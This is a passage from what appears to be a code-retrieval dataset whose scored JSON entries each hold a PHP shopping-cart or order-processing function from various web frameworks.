=> $product['id'],\n 'qty' => $product['qty'],\n 'super_attribute' => $options\n ));\n } catch (Mage_Core_Exception $e) {\n $session->addError($this->__('Payment failed: ') . $e->getMessage());\n throw new $e;\n }\n \n $cart->save();\n \n $this->loadShippingMethodsAction();\n }", "title": "" }, { "docid": "0b5ed48b7d2165d7b66f5027d5706f8d", "score": "0.6051947", "text": "public function add() {\r\n $this->data['LineItem']['order_id'] = $this->Order->getCartId();\r\n $this->LineItem->addToCart($this->data['LineItem']);\r\n $this->Session->write('Order.id', $this->data['LineItem']['order_id']);\r\n $this->redirect(array('controller' => 'products', 'action' => 'show', 'id' => $this->data['LineItem']['product_id'], 'cart' => 'added'));\r\n }", "title": "" }, { "docid": "f05c085a2070b4085f05461f4d3199dd", "score": "0.6047979", "text": "public function add()\n\t{\n\t\tif($this->request->getMethod() == 'post'){\n\t\t\t$data = $this->request->getVar();\n\t\t\t$model = new OrderModel();\n\t\t\tif($model->insert($data)){\n\t\t\t\t$place =[\n\t\t\t\t'cart' => '1',\n\t\t\t\t'place' => '1'\n\t\t\t\t];\n\t\t\t\t$productsModel = new ProductsModel();\n\t\t\t\tif($productsModel->update($data['product_id'],$place)){\n\t\t\t\t\techo \"<script>alert('Order Placed Successfully')</script>\" ;\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\techo \"<script>alert('Something Went Wrong')</script>\" ;\n\t\t\t}\n\t\t\treturn $this->index();\n\t\t}\n\t}", "title": "" }, { "docid": "03e76c85c87be7ca76ee11617bd79fea", "score": "0.6024668", "text": "public function add()\n {\n $cartProduct = $this->CartProducts->newEntity();\n if ($this->request->is('post')) {\n $cartProduct = $this->CartProducts->patchEntity($cartProduct, $this->request->data);\n if (!$this->CartProducts->save($cartProduct)) {\n $this->Flash->error(__('The cart product could not be saved. Please, try again.'));\n } \n }\n\n $cartProduct['product'] = $this->CartProducts->Products->get($cartProduct->product_id);\n $this->set(compact('cartProduct'));\n $this->set('_serialize', ['cartProduct']);\n }", "title": "" }, { "docid": "cb51b81ecb5ce19c1c2471d2f92c9cd0", "score": "0.6011389", "text": "public function store() {\n $carts = Cart::content();\n if(Cart::count()<1){\n Session::flash('flash_error', 'You need add at least one product!');\n }\n $order = new Order();\n $order->user_id = Auth::user()->id;\n $order->date = date('Y-m-d h:i:s');\n $order->total = money_format('%.2n', Cart::total());\n $order->save();\n foreach ($carts as $row) {\n $product = Product::find($row->id)->firstOrFail();\n\n $orderDetail = new OrderDetail();\n $orderDetail->order_id = $order->id;\n $orderDetail->product_id = $product->code;\n $orderDetail->quantity = $row->qty;\n $orderDetail->sub_total = money_format('%.2n', $row->subtotal);\n $orderDetail->save();\n Cart::destroy();\n }\n\n Session::flash('message', 'Successfully created order!');\n return Redirect::to('orders');\n }", "title": "" }, { "docid": "11c5c859bae95b79a62b44dcab445bff", "score": "0.60026336", "text": "public function addToCart(Request $request)\n {\n if(isset($request->delete))\n {\n OrderDetail::where('product_id',$request->product_id)\n ->where('user_id',Auth::user()->id)\n ->where('status',0)\n ->delete();\n\n $Cart = OrderDetail::where('user_id',Auth::user()->id)\n ->where('order_id',0)\n ->get();\n return response([\n 'code' => 200,\n 'status' => true,\n 'Message' => 'product deleted from Cart',\n 'Cart' =>$Cart\n ]);\n\n }\n $Cart_product = OrderDetail::where('product_id',$request->product_id)\n ->where('user_id',Auth::user()->id)\n ->where('size',$request->size)\n ->first();\n if(!$Cart_product)\n {\n $product = new OrderDetail();\n $product->product_id = $request->product_id;\n $product->product_name = $request->product_name;\n $product->order_id = 0;\n $product->user_id = Auth::user()->id;\n $product->quantity = $request->quantity;\n $product->price = $request->price;\n $product->size = $request->size;\n $product->status = 'pending';\n $product->total_price = (int)$request->price * (int)$request->quantity;\n $product->save();\n\n }\n else\n {\n $Cart_product->quantity += (int)$request->quantity;\n $Cart_product->total_price = (int)$Cart_product->price * (int)$Cart_product->quantity;\n $Cart_product->save();\n\n\n }\n $Cart = OrderDetail::where('user_id',Auth::user()->id)\n ->where('order_id',0)\n ->get();\n return response([\n 'code' => 200,\n 'status' => true,\n 'Message' => 'added to Cart',\n 'Cart' =>$Cart\n ]);\n }", "title": "" }, { "docid": "6ead2117d24d551952d83f0f5f94bd1f", "score": "0.5997182", "text": "public function processOrder()\n {\n // read cart\n $user = Auth::user();\n $cart = $user->cart;\n $cartLines = $cart->cartLines;\n\n // $products = Input::get('products');;\n\n // if( is_null($products)){\n $request = Request::instance();\n $products = json_decode(Input::get('products'), true);\n // var_dump($products); die();\n // }\n // $products = $content['products'];\n // var_dump($content); die();\n // create order\n $order = new Order;\n $order->user_id = $user->id;\n $order->paid = 1;\n $order->total_price = 0; // update below\n $order->save();\n\n $orderId = $order->id;\n\n // insert order lines\n if(count($products))\n {\n $totalPrice = 0;\n\n foreach($products as $product){\n \n $productObject = Product::findOrFail($product['id']);\n\n $orderLine = new OrderLine;\n\n $orderLine->order_id = $orderId;\n $orderLine->ean = $productObject->ean;\n $orderLine->product_name = $productObject->name;\n $orderLine->qty = $product['quantity'];\n $orderLine->unit_price = $productObject->price;\n $orderLine->subtotal = ($product['quantity'] * $productObject->price);\n $orderLine->save();\n\n // update stock\n if($productObject->stock >= $product['quantity']){\n $productObject->stock = $productObject->stock - $product['quantity'];\n $productObject->save();\n } else {\n // shit sold out yo\n $productObject->stock = 0;\n $productObject->save();\n }\n \n\n foreach($cartLines as $cartLine){\n if($cartLine->product_id == $product['id']){\n if($cartLine->qty <= $product['quantity']){\n $cartLine->delete();\n } else {\n $cartLine->qty -= $product['quantity'];\n $cartLine->save();\n }\n }\n }\n\n $totalPrice += $orderLine->subtotal;\n }\n\n $order = Order::find($orderId);\n $order->total_price = $totalPrice;\n $order->save();\n\n return $this->respondOk(\"Kappa\");\n }\n else\n {\n return $this->respondValidationError('U wanna pay for nothing? Please do.');\n }\n }", "title": "" }, { "docid": "2cf302b85f741639e960690466d4dfe4", "score": "0.59663105", "text": "public function actionCartinit(){\n if(Yii::app()->request->isPostRequest){\n if(Yii::app()->user->isGuest){\n $uid = \"\";\n }else{\n $uid = Yii::app()->user->id;\n }\n $product_id = $_POST['product'];\n $quantity = $_POST['quantity'];\n\n Yii::app()->shoppingcart->addToCart($uid,$product_id,$quantity);\n }\n }", "title": "" }, { "docid": "74b834fc31018ed139359d09e35e2913", "score": "0.5956498", "text": "public function addtocart() {\r\n\t\t$product = $this->pages_model->get($this->input->post('id'));\r\n\t\tif ($this->ion_auth->is_wholesaler()) {\r\n\t\t\t$data = [\r\n\t\t\t\t'id' => $this->input->post('id'),\r\n\t\t\t\t'qty' => 5,\r\n\t\t\t\t'vendor_id' => $product->vendor_id,\r\n\t\t\t\t'price' => $product->wholesale_price,\r\n\t\t\t\t'name' => $product->name,\r\n\t\t\t\t'image' => $product->image,\r\n\t\t\t\t'slug' => $product->slug\r\n\t\t\t];\r\n\t\t} else {\r\n\t\t\t$data = [\r\n\t\t\t\t'id' => $this->input->post('id'),\r\n\t\t\t\t'qty' => 1,\r\n\t\t\t\t'vendor_id' => $product->vendor_id,\r\n\t\t\t\t'price' => $product->sale_price,\r\n\t\t\t\t'name' => $product->name,\r\n\t\t\t\t'image' => $product->image,\r\n\t\t\t\t'slug' => $product->slug\r\n\t\t\t];\r\n\t\t}\r\n\r\n\t\tif ($this->cart->insert($data)) {\r\n\t\t\t$id = $this->input->post('id');\r\n\t\t\t$this->db->delete('wishlist', ['id' => $id]);\r\n\t\t\tredirect('my-account/wishlist');\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "1199294533f3c42fe2625e3b5b094e27", "score": "0.5955237", "text": "protected function setUpShoppingCart()\n {\n foreach($this->products as $product)\n {\n CartProvider::instance()\n ->add(new Item($product->id,\n $product->title,\n 1,\n $product->price,\n $product->weight,\n true,\n new TaxRule(\n $this->tax->name,\n $this->tax->percent * 100)));\n }\n }", "title": "" }, { "docid": "b81a2098d46f82c5534d2b58dbd7fb13", "score": "0.5949954", "text": "public function add_to_cart(Request $request)\n {\n $payload = $request->post();\n\n $this->validate($request, [\n 'cart_id' => 'required',\n 'client_id' => 'required',\n 'product_id' => 'required',\n 'date' => 'required|date_format:d/m/Y',\n 'time' => 'required|date_format:H:i:s',\n ]);\n\n if (!Product::where('product_id', $payload['product_id'])->exists()) {\n return response()->json(ApiResponse::message('Produto informado não existe.'), 404);\n }\n\n if (Cart::where('cart_id', $payload['cart_id'])->where('product_id', $payload['product_id'])->exists()) {\n return response()->json(ApiResponse::message('Produto já foi adicionado no carrinho.'), 422);\n }\n\n $cart = new Cart($payload);\n if (!$cart->save()) {\n return response()->json(ApiResponse::message('Houve um erro ao adicionar este produto ao carrinho'), 422);\n }\n\n return response()->json([\n 'message' => 'Produto adicionado ao carrinho com sucesso.'\n ], 201);\n }", "title": "" }, { "docid": "8030e8bca94d3e69e44abc04e886da49", "score": "0.5938958", "text": "public static function action_cart_ajax() {\n\t\tif ( ! empty( $_REQUEST['wr-action-cart'] ) ) {\n\t\t\tif( $_REQUEST['wr-action-cart'] == 'add_to_cart' ) {\n\t\t\t\tself::add_to_cart_ajax();\n\t\t\t} elseif( $_REQUEST['wr-action-cart'] == 'update_cart' ) {\n\t\t\t\tself::update_cart_ajax();\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "82cb056b86f7721e76e3c59c4b145f68", "score": "0.5928547", "text": "public function add() {\r\n\t\t$id = $this->uri->segment(3);\r\n\t\t$product = $this->sanpham_model->get_product_by_id($id);\r\n\t\t\r\n\t\tif (!$product) {\r\n\t\t\tredirect();\r\n\t\t}\r\n\t\t//tong so san pham\r\n\t\t$qty = 1;\r\n\t\t//thong tin them vao gio\r\n\t\t$data = array(\r\n \"id\" => $product[0]['ItemID'],\r\n \"name\" => $product[0]['Name'],\r\n \"qty\" => \"1\",\r\n \"price\" => $product[0]['Price'],\r\n // \"option\" => array(\"author\" => \"freetuts.net\"),\r\n );\r\n // Them san pham vao gio hang\r\n\t\t$this->cart->insert($data);\r\n\t\tredirect(base_url('cart'));\r\n\t}", "title": "" }, { "docid": "083c85bbb92e1f4695dbce4f1b036bfc", "score": "0.59243166", "text": "public function createOrder (){\n //Get the current car\n $cart = Session::get('cart');\n //cart is not empty\n if($cart) {\n // dump($cart);\n $date = date('Y-m-d H:i:s');\n $arrayNewOrder = array(\"state\"=>\"Asked\",\"date\"=>$date,\"delivering_date\"=>$date,\"order_price\"=>$cart->totalPrice);\n $orderCreated = DB::table(\"orders\")->insert($arrayNewOrder);\n $orderId = DB::getPdo()->lastInsertId();;\n\n //Insert in our table order_products, all the products from the order\n foreach ($cart->items as $cart_item){\n $productId = $cart_item['data']['id'];\n $productName = $cart_item['data']['name'];\n $productPrice = (float) str_replace(\"$\",\"\",$cart_item['data']['price']);\n $totalItems = $cart_item['quantity'];\n $newProductInCurrentOrder = array(\"product_id\"=>$productId,\"order_id\"=>$orderId,\"product_name\"=>$productName,\"product_price\"=>$productPrice,\"total_items\"=>$totalItems);\n $orderCreatedItems = DB::table(\"order_products\")->insert($newProductInCurrentOrder);\n }\n\n //delete the old cart when the order has been created, to have an empty cart\n Session::forget(\"cart\");\n Session::flush();\n return redirect()->route(\"allProducts\")->withsuccess(\"Thanks For Buying in Dapumasold\");\n\n }else{//Cart is empty, so we redirect the user\n\n return redirect()->route(\"allProducts\");\n }\n\n }", "title": "" }, { "docid": "00ce07a1e25225015cb681dcf9b46453", "score": "0.5918533", "text": "public function addToCart(Varien_Event_Observer $observer) {\n if (!$this->_checkAnalyticsEnabled())\n return;\n\n $product = $observer->getEvent()->getProduct();\n $productData = $this->_extractProduct($product);\n $payload = $this->_preparePayload($productData);\n $this->_sendPayload('addToCart', $payload);\n }", "title": "" }, { "docid": "c5c5181b60784814ece3440dc547bcb5", "score": "0.5910042", "text": "function BuyNowAdd_toCart(Request $request){\n\n if($request->ajax()){\n\n $data=new Cart_order();\n $data->Bill_Id=$request->pd_bill;\n $data->product_name=$request->pdName;\n $data->product_price=$request->sell_price;\n $data->product_category=$request->category_Name;\n $data->product_size=$request->pd_size;\n $data->sell_quantity=$request->quan_tity;\n $data->sell_discount=$request->pd_discount;\n\n $data->image=$request->image;\n $data->product_details=$request->product_details;\n $data->user_gmail=$request->UserGmail;\n $data->Brand_name=$request->brand_name;\n $data->Serial_id=$request->Serial_id;\n $data->save();\n echo\"Your Cart Add SuccessFull..\";\n }else{\n echo\"Your Cart Add Faild..\";\n }\n\n }", "title": "" }, { "docid": "6dd8937581594b93e4290ccf0a8649d1", "score": "0.59092104", "text": "public function addOrder()\n {\n $email = Request::input('email');\n //Recebe os dados do usuario\n $userFound = $this->user->where('email', $email)->first();\n $custID = $userFound['custID'];\n $orders = $this->cartCtr->returnCartItems();\n\n $total = 0;\n\n foreach ($orders as $order){\n $total += $order['price'] * $order['quantity'];\n }\n\n $data['email'] = $email;\n $data['orders'] = $orders;\n $data['total'] = $total;\n\n $qty = $this->cartCtr->countQty($orders);\n $frete = $this->cartCtr->frete($qty);\n\n $data['frete'] = $frete;\n\n //Função para o envio do email confirmando a compra\n Mail::send('email_template.email_send', $data, function ($message) use ($data) {\n $message->from('[email protected]', 'geekbooks');\n $message->to($data['email']);\n $message->subject('Compra geek books');\n });\n //Chama o metodo utilizado para inserir os dados do cart no banco\n $this->orderCtr->insertCart($this->cartCtr->returnCartItems(), $custID);\n //Remove os dados do cart\n $this->cartCtr->removeCart();\n //Retorna para a main page\n return redirect('/');\n }", "title": "" }, { "docid": "a1a5bb133a29eb0e68562fbb4afdf534", "score": "0.5904559", "text": "function add_to_cart($product_det)\n{\n\t$_hook\t\t=\tget_param('hook');\n\t\n\trequire_code('hooks/systems/ecommerce/'.filter_naughty_harsh($_hook));\n\n\t$object\t\t=\tobject_factory('Hook_'.filter_naughty_harsh($_hook));\n\n\t$object->add_order($product_det);\t\n}", "title": "" }, { "docid": "ab75374dfe9113deda0933310ebeb50e", "score": "0.5899037", "text": "public function add_to_cart() {\n\t\tif ( is_single() ) {\n\t\t\tglobal $woocommerce;\n\t\t\t$cart = $woocommerce->cart->get_cart();\n\t\t\tglobal $product;\n\t\t\t$in_cart = false;\n\t\t\tforeach ( $cart as $key => $value ) {\n\t\t\t\tif ( $value['product_id'] === $product->get_id() ) {\n\t\t\t\t\t$in_cart = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ( ! $in_cart ) {\n\t\t\t\t$woocommerce->cart->add_to_cart( $product->get_id(), 1 );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "7290b796507785a8fc8c8c832e02ed07", "score": "0.58970743", "text": "public function cart_add()\n {\n if( ! $this->input->is_ajax_request()) show_error('Direct access denied.', 500);\n \n // Get selected item data\n if( ! $item = $this->core_model->get_item($this->input->post('item_id')))\n {\n // Item does not exist\n echo 'Esat izvēlējies neeksistējošu mantu. Lūdzu pārbaudiet.';\n }\n else\n {\n if($this->cart->total_items() >= $this->config->item('cart_size'))\n {\n // Output message\n echo 'Groza maksimālais limits ir sasniegts.';\n }\n else\n {\n // Search for item, if not found add it\n if( ! $row_id = $this->shop->search_cart_item($item->id))\n {\n $data = array(\n 'id' => $item->id,\n 'qty' => '1',\n 'price' => $item->price_sms_lv,\n 'name' => str_replace(array('(', ')'), '', $item->item_name),\n 'options' => array(\n 'pieces' => $item->pieces,\n 'item_id' => $item->item_id,\n 'image_id' => $item->image_id,\n ),\n );\n \n // Add extra data for enhanced items\n if($this->uri->segment(3) == 'enhanced')\n {\n // Get item's enchantments\n $enchantments = $this->core_model->get_enchantments(json_decode($item->enchantments));\n\n // Load enchantments\n $data['enchantments'] = $this->shop->load_enchantments($item, $enchantments);\n \n // Reload array\n foreach($this->module->pay_methods as $pay_method)\n {\n $data['prices']['price_'.$pay_method] = $data['enchantments']['price_'.$pay_method];\n \n if($pay_method == 'sms')\n $data['price'] = $data['enchantments']['price_sms'];\n \n // Unset\n unset($data['enchantments']['price_'.$pay_method]);\n }\n }\n else\n {\n foreach($this->module->pay_methods as $pay_method)\n {\n $data['prices']['price_'.$pay_method] = ($pay_method == 'sms') ? $item->price_sms_lv : $item->{'price_'.$pay_method};\n }\n }\n \n \n\n // Insert into cart\n $this->cart->insert($data);\n \n // Output message\n echo 'Paldies. Manta pievienota Jūsu grozam.';\n }\n \n // Item is found, do qty update\n else\n {\n if($this->uri->segment(3) != 'enhanced')\n {\n $data = array(\n 'rowid' => $row_id['row_id'],\n 'qty' => $row_id['qty'] + 1,\n );\n \n // Update cart contents\n $this->cart->update($data);\n \n // Output message\n echo 'Mantas daudzums grozā palielināts par ' . $item->pieces . '.';\n }\n else\n {\n // Output message\n echo 'Vienlaicīgi var pievienot tikai vienu šādu uzlabotu mantu.';\n }\n }\n }\n }\n }", "title": "" }, { "docid": "6c3c6ece16fbf55e81fdfa8c4fb09e2b", "score": "0.5894484", "text": "public function addtocart(){\n \n $pro_id = $this->input->post('curent_id');\n $pro_qty = $this->input->post('curent_qty');\n $pro_price = $this->input->post('curent_price');\n $pro_name = $this->input->post('curent_name');\n $servings = $this->input->post('otherinfo');\n $traytype = $this->input->post('traytype');\n $img = $this->input->post('img');\n $link = $this->input->post('link');\n\n $data = array(\n\t\t 'id' => $pro_id,\n\t\t 'qty' => $pro_qty,\n\t\t 'price' => $pro_price,\n\t\t 'name' => $pro_name,\n\t\t 'options' => array('Servings' => $servings, 'Tray' => $traytype, 'Image' => $img, 'Link' => $link)\n\t\t);\n \n\n\t\tif($this->cart->insert($data))\n\t\t{\n\t\t\t$result = 1;\n\t\t\tif($result){\n\t\t\t \techo json_encode(array('type' => 'success', 'msg' => 'Record Add successfully'));\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "9a4f35cdbf6be3ca9b39180d413babb5", "score": "0.5889725", "text": "public function placeOrder() { \n \n $userId = get_loggedin_userid();\n if(empty($userId)) {\n echo json_encode(['success'=>false, 'message' => \"User not logged in\"]);\n return;\n } \n \n // Get cart contents from Redis\n $this->load->library('cartredis');\n $this->cartredis->setCartContents($userId); \n $orderItems = array();\n foreach($this->cartredis->cartContents as $key => $cartItem) {\n if(isset($cartItem['item_id'])) {\n $orderItems[$cartItem['item_id']]['qty'] = $cartItem['qty']; \n }\n }\n \n // Get IDs of all the items in the cart\n $cartItemIds = get_cart_item_ids($this->cartredis->cartContents);\n \n // Fetch cart item details from DB as price might have changed in the meantime\n $this->load->model('item_model');\n $result = $this->item_model->getItems($cartItemIds);\n $itemsDetails = $result['data'];\n $orderTotal = 0;\n foreach($itemsDetails as $key => $item) {\n $orderItems[$item->id]['price'] = $item->selling_price;\n $orderItems[$item->id]['item_id'] = $item->id;\n $orderItems[$item->id]['title'] = $item->title;\n $orderItems[$item->id]['description'] = $item->description;\n $orderTotal += $orderItems[$item->id]['qty'] * $orderItems[$item->id]['price'];\n }\n\n // Save Order details in DB\n $this->load->model('order_model');\n $orderId = $this->order_model->saveOrder($userId, $orderTotal);\n if(!$orderId) {\n echo json_encode(['success'=>false, 'message' => 'Error in placing order.']);\n }\n $this->order_model->saveOrderItems($orderId, $orderItems);\n \n // Delete the cart\n $this->cartredis->deleteCart($userId);\n $data['order_id'] = $orderId;\n $data['total_amount'] = $orderTotal;\n echo json_encode($data);\n }", "title": "" }, { "docid": "a05cc059595e2cdf4cf852b6abd5c070", "score": "0.58869797", "text": "function addToCart(){\n $sql = \"insert into order1(custID, serviceID, itemname, itemprice, itemquantity) values(:custID, :serviceID, :itemname, :itemprice, :itemquantity)\";\n $args = [':custID'=>$this->custID, ':serviceID'=>$this->serviceID, ':itemname'=>$this->itemname, ':itemprice'=>$this->itemprice, ':itemquantity'=>$this->itemquantity];\n return DB::run($sql, $args);\n }", "title": "" }, { "docid": "fb3800cc1deee789416fdaff5cf1e352", "score": "0.5886189", "text": "public function insert()\n {\n $_SESSION['products'][$_POST['product_id']] = $_POST['quantity'];\n $_SESSION['total'][$_POST['product_id']] = WebshopModel::total($_POST['product_id'], $_POST['quantity']);\n header('location: index.php?do=cart');\n }", "title": "" }, { "docid": "98bd30d12e2c288a9d93e993bf1775db", "score": "0.588556", "text": "public function attachProductsToOrder()\n\t{\n\t\t// dd(session())\n foreach( (array) session('stocks') + ['main'] as $instance){\n\n foreach(Cart::instance($instance)->content() as $boughtProduct){\n \t\n \t\t$product = Product::find($boughtProduct->id);\n\t\t\t\tOrderedProduct::create([\n\t\t\t\t\t'product_id' => $product->id,\n\t\t\t\t\t'title' => $product->title,\n\t\t\t\t\t'article' => $product->article,\n\t\t\t\t\t'qty' => $boughtProduct->qty,\n\t\t\t\t\t'price_without_discount' => $product->out_price,\n\t\t\t\t\t'price' => str_replace(' ', '', $boughtProduct->price),\n\t\t\t\t\t'total_price' => str_replace(' ', '', $boughtProduct->price) * $boughtProduct->qty,\n\t\t\t\t\t'order_id' => $this->order->id,\n\t 'stock' => !!$boughtProduct->options->stock,\n\t\t\t\t\t'applied_discount' => $product->getDiscount()\n\t\t\t\t]);\n }\n }\n\t}", "title": "" }, { "docid": "c81d8ef6cc3057e1bb5a674b079b18da", "score": "0.58806527", "text": "public function productOrder(Request $request, $id)\n {\n $producItem = Product::where('id', '=', $id)->first();\n //Cart::add($producItem->id, $producItem->name, $request->input('qty'), $producItem->unit_price);\n Cart::add(['id' => $producItem->id, 'name' => $producItem->name, 'qty' => $request->input('qty'), 'price' => $producItem->unit_price]);\n return redirect()->back()->with('success', 'A new product is successfully added to your cart!');\n }", "title": "" }, { "docid": "9b4ed163e37ca1915837d0aadbcbb148", "score": "0.5875513", "text": "public function addProduct(Request $request, Order $order)\n {\n if ($this->checkPending($order)) return back();\n\n $request->validate([\n 'product_id' => 'required|exists:products,id',\n 'quantity' => 'required|numeric|min:0'\n ]);\n\n $checking = $this->putProduct($order, $request);\n $this->calculateTotal($order);\n\n if ($checking == \"Increment\")\n return redirect()\n ->route('admin.orders.edit', $order->id)\n ->with('success', \"{$request->quantity} has been added to product in order!\");\n\n return redirect()\n ->route('admin.orders.edit', $order->id)\n ->with('success', 'Product has been added to the order!');\n }", "title": "" }, { "docid": "0dfee200a554e28ba795d31da50c19ff", "score": "0.58660084", "text": "public function addGreetingToCart()\n\t{\n\t\t$productId = $this->request->post['id'];\n\t\t$selectedGreetingId = $this->request->post['selectedGreetingId'];\n\t\t$greetingMessage = $this->request->post['greetingMessage'];\n\t\t$occasionId = $this->request->post['occasionId'];\n\t\t$greetingType = $this->request->post['greetingType'];\n\t\t$this->load->model('catalog/product');\n\t\t$productInfo = $this->model_catalog_product->getProduct($selectedGreetingId);\n\t\t\n\t\t$greetingPrice = $productInfo['price'];\n\t\n\t\tif(isset($this->session->data['greeting'][$productId]) && $this->session->data['greeting'][$productId]['occasionId'] == $occasionId && $this->session->data['greeting'][$productId]['greetingId'] == $selectedGreetingId )\n\t\t{\n\t\t\t$addonPrice = $this->session->data['addOnPrice'][$productId];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$addonPrice = 0;\n\t\t\t$this->session->data['greeting'][$productId] = array(\n\t\t\t\t'occasionId'=>$occasionId,\n\t\t\t\t'greetingId' =>$selectedGreetingId,\n\t\t\t\t'price'=>$greetingPrice,\n\t\t\t\t'message'=>$greetingMessage);\n\t\t}\n\t\t\n\t\t$this->session->data['greeting'][$productId]['greetingType'] = $greetingType;\n\t\t\n\t\t$addonPrice = $this->calculateProductAddon($productId);\n\t\t$this->calculateTotalAddon();\n\n\t\t$json['addOnPrice'] = $this->currency->format($this->tax->calculate($addonPrice,$productInfo['tax_class_id'], $this->config->get('config_tax')));;\n\t\t$json['cartTotal'] = $this->calculateTotal();\n\t\t\n\t\t$json['intCartSubTotal'] = number_format($this->intCartSubTotal,0,',','.');\t\t\n\t\t$json['intCartTotal'] = number_format($this->intCartTotal,0,',','.');\n\t\t$json['intAddOnTotal'] = number_format($this->session->data['totalAddOnPrice'],0,',','.');\n\t\t\n\t\t$this->response->setOutput(json_encode($json));\n\t}", "title": "" }, { "docid": "46e9e3e663790b519e445eb94d235148", "score": "0.5862625", "text": "function addToCart()\n{\n\t$cf = new Fwcore();\n\t\n\t$data = array();\n\t$data['auth_token'] = isset($_POST['auth_token']) ? $_POST['auth_token'] : '';\n\t$data['app_id'] = isset($_POST['app_id']) ? $_POST['app_id'] : '';\n\t$data['cart_data'] = isset($_POST['cart_data']) ? $_POST['cart_data'] : '';\n\t$data['email'] = isset($_POST['email']) ? $_POST['email'] : '';\n\t$data['device_id'] = isset($_POST['device_id']) ? $_POST['device_id'] : '';\n\t$cf->addToCart($data);\n}", "title": "" }, { "docid": "e8920d5d32117e46af652a022967bef0", "score": "0.58604693", "text": "function loop_add_to_cart() {\n global $product;\n\n\t\tif ( $product ) {\n\n $prod_id = $product->get_ID();\n $form_id = get_post_meta( $prod_id, '_woo_caldera_pricing_table_id', true );\n if( !empty( $form_id ) ) {\n echo '<a href=\"'.get_permalink( $prod_id ).'\" class=\"button\">'.__( 'View More', 'woo_cal_addon' ).'</a>';\n } else {\n $defaults = array(\n 'quantity' => 1,\n 'class' => implode( ' ', array_filter( array(\n 'button',\n 'product_type_' . $product->get_type(),\n $product->is_purchasable() && $product->is_in_stock() ? 'add_to_cart_button' : '',\n $product->supports( 'ajax_add_to_cart' ) && $product->is_purchasable() && $product->is_in_stock() ? 'ajax_add_to_cart' : '',\n ) ) ),\n 'attributes' => array(\n 'data-product_id' => $product->get_id(),\n 'data-product_sku' => $product->get_sku(),\n 'aria-label' => $product->add_to_cart_description(),\n 'rel' => 'nofollow',\n ),\n );\n $args = [];\n $args = apply_filters( 'woocommerce_loop_add_to_cart_args', wp_parse_args( $args, $defaults ), $product );\n \n if ( isset( $args['attributes']['aria-label'] ) ) {\n $args['attributes']['aria-label'] = strip_tags( $args['attributes']['aria-label'] );\n }\n \n wc_get_template( 'loop/add-to-cart.php', $args );\n }\n\t\t\t\n\t\t}\n }", "title": "" }, { "docid": "8f19661d0f2abfe42dd32e2a543bbfce", "score": "0.5859529", "text": "private function _addProduct() {\n if ($this->_isTreatment()) { \n Mage::log('Treament order', null, 'maxicycle.log');\n $this->checkAndAddProduct();\n } else { \n Mage::log('OrderType: control', null, 'maxicycle.log');\n // Set it into order to be used when exporting the results\n $this->_quote_or_order->setMaxicycleOrderType('control'); \n } \n }", "title": "" }, { "docid": "342f033312c3ad9087821a8ca2ec72f4", "score": "0.5854219", "text": "public function createNewOrder(Request $request){\n //Get the current car\n $cart = Session::get('cart');\n //Getting the user data\n $user_email = $request->input('user_email');\n $user_name = $request->input('user_name');\n $user_surnames = $request->input('user_surnames');\n $user_address = $request->input('user_address');\n $user_postalCode = $request->input('user_postalCode');\n $user_number = $request->input('user_number');\n\n //cart is not empty\n if($cart) {\n // dump($cart);\n $date = date('Y-m-d H:i:s');\n $arrayNewOrder = array(\"state\"=>\"Ordered\",\"date\"=>$date,\"delivering_date\"=>$date,\"order_price\"=>$cart->totalPrice,\n \"user_email\"=>$user_email,\"user_name\"=>$user_name,\"user_surnames\"=>$user_surnames,\"user_address\"=>$user_address,\n \"user_postalCode\"=>$user_postalCode,\"user_number\"=>$user_number);\n //Insert all the Order created data on orders table\n $orderCreated = DB::table(\"orders\")->insert($arrayNewOrder);\n $orderId = DB::getPdo()->lastInsertId();;\n\n //Insert in our table order_products, all the products from the order\n foreach ($cart->items as $cart_item){\n $productId = $cart_item['data']['id'];\n $productName = $cart_item['data']['name'];\n $productPrice = (float) str_replace(\"$\",\"\",$cart_item['data']['price']);\n $totalItems = $cart_item['quantity'];\n $productImage = $cart_item['data']['image'];\n $newProductInCurrentOrder = array(\"product_id\"=>$productId,\"order_id\"=>$orderId,\"product_name\"=>$productName,\"product_price\"=>$productPrice,\"total_items\"=>$totalItems, \"image\"=>$productImage);\n $orderCreatedItems = DB::table(\"order_products\")->insert($newProductInCurrentOrder);\n }\n\n //Sending the email to notify the user\n $user = Auth::user();\n $cart = Session::get('cart');\n\n if($cart != null && $user_email != null){\n Mail::to($user_email)->send(new OrderAsked($cart));\n }\n\n //delete the old cart when the order has been created, to have an empty cart\n Session::forget(\"cart\");\n\n //Passing the data to the payment page\n $payment_data = $arrayNewOrder;\n $payment_data['order_id'] = $orderId;\n $request->session()->put('payment_data',$payment_data);\n return redirect()->route(\"showPaymentData\");\n\n }else{//Cart is empty, so we redirect the user\n\n return redirect()->route(\"allProducts\");\n\n }\n\n \n }", "title": "" }, { "docid": "85c3baeb5effe6b58c88159e593b7095", "score": "0.58475405", "text": "public function orderProducts(Request $request) {\n \t$ShoppingCart = new ShoppingCart($request);\n $cart = $ShoppingCart->getCart();\n\n \t$clientId = Client::where('user_id', Auth::id())->first()->id;\n\n $order = new Order;\n $order->client_id = $clientId;\n $order->order_status = 'ordered';\n $order->save();\n\n foreach ($cart as $product) {\n $orderDetail = new OrderDetails;\n $orderDetail->order_id = $order->id;\n $orderDetail->product_id = $product['product_id'];\n $orderDetail->product_count = $product['quantity'];\n $orderDetail->save();\n }\n \t\n \t$ShoppingCart->forgetCart($request);\n \treturn redirect('orders');\n }", "title": "" }, { "docid": "d3b79e01417e239d6f1e8d183cfc5611", "score": "0.5830945", "text": "public function addToCart(Request $request, $id){\n $product = Product::where('id', $id)->first();\n\n $check_if_provided_is_added_cart = Pos::where('product_id', $id)->first();\n if($check_if_provided_is_added_cart){\n $data = Pos::where('product_id', $id)->increment('product_quantity');\n $product = Pos::where('product_id',$id)->first();\n $subtotal = $product->product_quantity * $product->product_price;\n Pos::where('product_id',$id)->update(['sub_total'=> $subtotal]);\n }else{\n $data = [];\n $data['product_id'] = $id;\n $data['product_name'] = $product->product_name;\n $data['product_quantity'] = 1;\n $data['product_price'] = $product->selling_price;\n $data['sub_total'] = $product->selling_price;\n $data['created_at'] = date(\"Y-m-d H:i:s\");\n 